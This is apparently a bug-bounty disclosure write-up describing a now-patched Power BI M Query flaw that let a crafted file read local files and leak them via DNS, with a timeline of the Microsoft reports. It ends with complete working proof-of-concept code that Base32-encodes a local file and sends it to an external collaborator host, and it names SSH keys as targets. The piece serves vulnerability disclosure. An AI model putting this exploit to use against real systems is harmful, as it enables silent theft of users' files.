Querying a non-existent row: Full Local File Exfiltration in Power BI
Sometimes the best bugs come from a rejection. This is the story of how I turned a dismissed "SMB Credential Leak" into an important "Local File Exfiltration" vulnerability.
Up until the November 2025 patch, a simple malicious PowerBi file could silently read your local files and tunnel them out via DNS, completely bypassing the "Privacy Level" firewall.
This went from "Not a Vulnerability" to a $30,000 bounty because I refused to accept that an unauthorized outbound connection had no real security impact.
The Catalyst: A Failed Report
It started when I found I could force Power BI to connect back to my malicious SMB server. I reported it as a standard "forced authentication" credential leak (NTLM hash theft).
Microsoft refused it. They argued that forcing a connection wasn't enough of a security boundary violation in this context and that modern systems had protection against these kind of credential leaks.
That rejection annoyed me. I thought: "Okay, if you don't care about the connection itself, surely I can do more with that."
That pivot led me to look at what was around the bug itself. And that's how I realize that it was a great exfiltration opportunity.
What Was at Risk?
On an unpatched component using M Query a malicious query could:
- Read any file on the host filesystem (e.g.,
C:\Users\admin\.ssh\id_rsa) - Encode that file content into a subdomain string
- Trigger a DNS lookup to an attacker-controlled nameserver
- Bypass the Privacy Firewall entirely (no "Information is required about data privacy" prompt)
How the PoC Worked
The exploit relies on a bug that would let you verify the existence on a file in a folder open with Folder.Files with full path via Table.SelectRows, which let you poke external servers.
- Read: The script reads a sensitive local file (e.g.,
C:\tmp\secret.txt). - Encode: I convert the binary content to custom Base32 encoding. (Required because standard DNS is case-insensitive, which corrupts Base64).
- Construct: I create a dynamic string:
\\<ENCODED_SECRET>.attacker.tld\share\fake.txt. - Trigger: I use
Table.SelectRowsto filter the folder. Power BI thinks, "I need to check if this file exists to run the filter."
The OS sends a DNS A-Record query for SECRET.attacker.com. In my case, the collaborator logs the query.
On Bug Bounty
Even after pivoting to full file exfiltration, it wasn't a straight shot.
Aug 20: I submitted the new report demonstrating file exfiltration.
Sept 08: MSRC rejected it again. "This vulnerability hinges on WebDAV authentication... PowerBI wouldn't be able to probe it."
It seems to have been simple miscommunication.
Sept 08 (Same day): I pushed back immediately. I explained that they were looking at it wrong.
Sept 09: Case Reopened. Severity upgraded to Important.
Sept 23: Awarded $30,000.
Wrapping Up
Rejection is just a challenge. Don't be afraid to try harder and escalate.
Microsoft patched this in the November 2025 Security Update.
The engine now evaluates the privacy scope of a path before attempting to resolve it.
Proof.mp4
Click me for proof
POC
The exploit code abuses the M Query order of operations. Note the custom Base32 implementation to handle DNS case-insensitivity.
let Base32Encode = (binary as binary) as text =>
let
alphabet = Text.ToList("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"),
bytes = Binary.ToList(binary),
byteBits = List.Transform(bytes, (b) =>
List.Transform({0..7}, (i) =>
Number.Mod(Number.IntegerDivide(b, Number.Power(2, 7 - i)), 2)
)
),
bits = List.Combine(byteBits),
padBits = Number.Mod(5 - Number.Mod(List.Count(bits), 5), 5),
paddedBits = List.Combine({bits, List.Repeat({0}, padBits)}),
groups = List.Split(paddedBits, 5),
values = List.Transform(groups, (g) =>
List.Sum(List.Transform({0..4}, (i) => g{i} * Number.Power(2, 4 - i)))
),
encoded = List.Transform(values, each alphabet{_}),
result = Text.Combine(encoded)
in
result,
Source = Folder.Files("C:\\tmp"),
content = Base32Encode(Source{0}[Content]),
Filtered = try
Table.SelectRows(Source, each [Name] = "//" & content & ".4tyvfxctg0ftownaumy3fr5ix930r5fu.oastify.com/zw/")
otherwise
#table({}, {}),
Content = Table.TransformColumns(Filtered, {"Content", each Text.Split(Text.FromBinary(_, TextEncoding.Utf8), "#(lf)")}),
FirstFile = if Table.RowCount(Content) > 0 then Content{0}[Content] else {},
AsTable = Table.FromList(FirstFile, Splitter.SplitByNothing(), {"Line"})
in
AsTable